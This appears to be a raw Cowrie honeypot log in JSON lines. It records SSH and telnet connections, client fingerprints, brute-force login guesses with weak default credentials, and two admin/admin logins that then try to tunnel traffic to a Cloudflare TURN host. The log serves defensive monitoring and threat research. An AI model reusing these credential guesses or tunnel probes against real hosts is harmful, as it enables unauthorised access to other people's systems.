{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:7d:8a:d0:10:16:ff:bc:2b:2a:2b:f0:48:fa:e7:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDDvjXnqPRz12XZEzAXBdwbPb+AiFizdcd+eewab3bVLVZY973w0FuiZULugewZkHydFxeip8gYvIYHIzhJT5UKB7Ktx5r6OUzHmDufArwDgd1W7KDXOp/YwgXRx76rwi0bbpPzq6SL0roJTI6MqG3u53xrziGXy/rX3lhNBXIPZJiOoXAv0wCMeNsDHWPA4zktjNLfDe05AAm6viNO1NFQXqhp5ccFQr+w0zV80EVVKQVkPY5VbmzhxwTgxRznxIw4KD3xq7TrTucg6fidKQoZ0oa/O14I2H5/X5Wpsfv7sRuYF80WtTxdNIP9khKPZXhPa3ACojmTEK2SB5/VKLIAbrUXoeIclVSgfopuJqvJE0vu7Ci7B55DsifLGgNV4Kb0i+2WG7G2hoZBXvxdc8UUdiTeWtiZnLhvASHEELCwtncS3vHBoz2lH0t2bSBJXmkSUEFygZbwIkiP8zJUGFZxvicmnxAJD3yhJPiAvZUdj3e1/qV4OuqzRAs7b4+Bf40nb7VZcipqYgyI2kjtui/fzDNw9K0xHajfV7xlEOE4G2x2t8xc7QjFwHEF7+mfBpTayHd1ds3wklpeDemK1A9CyRJspI4D6PfDbAZrRqMVCzuEhzF72s1Xi4Lb7go+8zPbhlFBFR3tYS3S3uuTuwet8BN2BP2VOoSiGw4nn9n67Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:57.254029Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:83:24:4c:c5:15:6e:b9:5a:d2:27:52:3a:33:82:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6e9h5v3uWxMRcPgKbB94crxNGm/EeuS8YyE9/M6xBr1O2ZU11FmFp9Y9/NnFzd/MdbJGV6WtBFHJAlAAyCeacwteuFzXYYjqopxFl28FPkw28A1GChXI475Wt7gvn24BAPQP0NNHS4XAzBwaxEG/hA/EltyPGsraTPwZROMPpNnHyqbJmEeuimC5wAMZgrd6OQ4Zn7yovIdvSPhvceVTcoSgeZr4bEnsG9dzBTYwKd3Ge1ZKD2/qx1zkn0nUrKyBhKAe+Z/CC/JdOMOVPuuMs9N/Xvs3+G7tUxBQ8GZFCb4wdGIt7ImGy3Cako7qTqtL1HsaNHVLskfe9UY+qeIE5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:83:24:4c:c5:15:6e:b9:5a:d2:27:52:3a:33:82:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:57.376986Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:83:24:4c:c5:15:6e:b9:5a:d2:27:52:3a:33:82:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6e9h5v3uWxMRcPgKbB94crxNGm/EeuS8YyE9/M6xBr1O2ZU11FmFp9Y9/NnFzd/MdbJGV6WtBFHJAlAAyCeacwteuFzXYYjqopxFl28FPkw28A1GChXI475Wt7gvn24BAPQP0NNHS4XAzBwaxEG/hA/EltyPGsraTPwZROMPpNnHyqbJmEeuimC5wAMZgrd6OQ4Zn7yovIdvSPhvceVTcoSgeZr4bEnsG9dzBTYwKd3Ge1ZKD2/qx1zkn0nUrKyBhKAe+Z/CC/JdOMOVPuuMs9N/Xvs3+G7tUxBQ8GZFCb4wdGIt7ImGy3Cako7qTqtL1HsaNHVLskfe9UY+qeIE5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:57.381105Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:57.503899Z","src_ip":"103.75.71.17","session":"ef70ddfa60fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00240898132324,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:01:59.350193Z","src_ip":"212.55.149.117","session":"321d7a3c2f2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.3060462474823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:02.424036Z","src_ip":"128.199.8.54","session":"6816c60bb859","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57634,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1ce737f316","protocol":"telnet","message":"New connection: 128.199.8.54:57634 (159.203.135.109:23) [session: 0b1ce737f316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:10.652923Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38904,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42f3296133c","protocol":"telnet","message":"New connection: 128.199.8.54:38904 (159.203.135.109:23) [session: d42f3296133c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:29.413414Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41834,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6e71c26ed6","protocol":"telnet","message":"New connection: 128.199.8.54:41834 (159.203.135.109:23) [session: af6e71c26ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:31.849976Z"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":37492,"dst_ip":"159.203.135.109","dst_port":22,"session":"79a1210100c3","protocol":"ssh","message":"New connection: 118.194.229.94:37492 (159.203.135.109:22) [session: 79a1210100c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:39.662833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:39.672717Z","src_ip":"118.194.229.94","session":"79a1210100c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:39.846934Z","src_ip":"118.194.229.94","session":"79a1210100c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password12345678","message":"login attempt [deploy/password12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:40.572630Z","src_ip":"118.194.229.94","session":"79a1210100c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:41.749072Z","src_ip":"118.194.229.94","session":"79a1210100c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.389068841934204,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:44.041854Z","src_ip":"128.199.8.54","session":"0b1ce737f316","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":47140,"dst_ip":"159.203.135.109","dst_port":22,"session":"80b4a4dbf094","protocol":"ssh","message":"New connection: 45.148.10.121:47140 (159.203.135.109:22) [session: 80b4a4dbf094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:57.379843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:57.384949Z","src_ip":"45.148.10.121","session":"80b4a4dbf094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:57.473381Z","src_ip":"45.148.10.121","session":"80b4a4dbf094","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:57.737703Z","src_ip":"45.148.10.121","session":"80b4a4dbf094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:57.830980Z","session":"80b4a4dbf094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:57.920691Z","src_ip":"45.148.10.121","session":"80b4a4dbf094","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:57.925066Z","src_ip":"45.148.10.121","session":"80b4a4dbf094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.058229Z","src_ip":"45.148.10.121","session":"80b4a4dbf094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":50258,"dst_ip":"159.203.135.109","dst_port":22,"session":"e18f3d165c8b","protocol":"ssh","message":"New connection: 45.148.10.121:50258 (159.203.135.109:22) [session: e18f3d165c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.142113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.146313Z","src_ip":"45.148.10.121","session":"e18f3d165c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.231736Z","src_ip":"45.148.10.121","session":"e18f3d165c8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.489649Z","src_ip":"45.148.10.121","session":"e18f3d165c8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.577055Z","session":"e18f3d165c8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.664210Z","src_ip":"45.148.10.121","session":"e18f3d165c8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.667937Z","src_ip":"45.148.10.121","session":"e18f3d165c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:02:58.760971Z","src_ip":"45.148.10.121","session":"e18f3d165c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.429537773132324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:04.842858Z","src_ip":"128.199.8.54","session":"d42f3296133c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.51294469833374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:05.362834Z","src_ip":"128.199.8.54","session":"af6e71c26ed6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.111.33","src_port":53556,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba8d7e9e4859","protocol":"ssh","message":"New connection: 118.145.111.33:53556 (159.203.135.109:22) [session: ba8d7e9e4859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:10.241771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:10.309432Z","src_ip":"118.145.111.33","session":"ba8d7e9e4859","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:10.533721Z","src_ip":"118.145.111.33","session":"ba8d7e9e4859","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"test","message":"login attempt [kafka/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:11.548565Z","src_ip":"118.145.111.33","session":"ba8d7e9e4859","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:12.784257Z","src_ip":"118.145.111.33","session":"ba8d7e9e4859","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55560,"dst_ip":"10.17.0.5","dst_port":22,"session":"98cacbbbb83d","protocol":"ssh","message":"New connection: 103.15.226.202:55560 (10.17.0.5:22) [session: 98cacbbbb83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:54.511581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:54.516473Z","src_ip":"103.15.226.202","session":"98cacbbbb83d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:54.774413Z","src_ip":"103.15.226.202","session":"98cacbbbb83d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:55.536023Z","src_ip":"103.15.226.202","session":"98cacbbbb83d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:56.788593Z","src_ip":"103.15.226.202","session":"98cacbbbb83d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43546,"dst_ip":"159.203.135.109","dst_port":23,"session":"12bdbaca6646","protocol":"telnet","message":"New connection: 128.199.8.54:43546 (159.203.135.109:23) [session: 12bdbaca6646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:03:59.036254Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54366,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8cf5d583bcf","protocol":"telnet","message":"New connection: 128.199.8.54:54366 (159.203.135.109:23) [session: c8cf5d583bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:04:21.948706Z"}
